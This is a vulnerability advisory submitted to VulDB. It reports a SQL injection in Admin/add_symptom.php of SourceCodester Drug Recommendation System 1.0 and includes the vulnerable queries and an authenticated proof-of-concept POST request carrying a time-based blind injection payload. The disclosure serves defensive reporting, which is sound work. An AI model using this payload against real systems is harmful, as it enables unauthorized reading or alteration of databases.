| 标题 | SourceCodester Drug Recommendation System 1.0 SQL Injection |
|---|
| 描述 | A SQL injection vulnerability exists in SourceCodester Drug Recommendation System 1.0 in Admin/add_symptom.php. The POST parameter txtname is processed with mysqli_real_escape_string() but still concatenated directly into SELECT and INSERT queries without parameterized binding.
Vulnerable queries:
SELECT * FROM symptoms WHERE name = '$name'
INSERT INTO symptoms (name) VALUES ('$name')
Proof of Concept (authenticated):
POST /Admin/add_symptom.php
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid>
btnadd=1&txtname=test' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
Impact: An authenticated attacker can inject SQL through the symptom creation form, extracting or modifying database contents. CWE-89, CVSS v3.1 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
|
|---|
| 来源 | ⚠️ https://www.sourcecodester.com/php/18278/drug-recommender-web-app-student-project.html |
|---|
| 用户 | swj99557271 (UID 101148) |
|---|
| 提交 | 2026-09-10 05時49分 (25 日前) |
|---|
| 管理 | 2026-10-04 10時50分 (24 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 413410 [SourceCodester Drug Recommendation System 1.0 Symptom Creation /Admin/add_symptom.php mysqli_real_escape_string txtname SQL注入] |
|---|
| 积分 | 20 |
|---|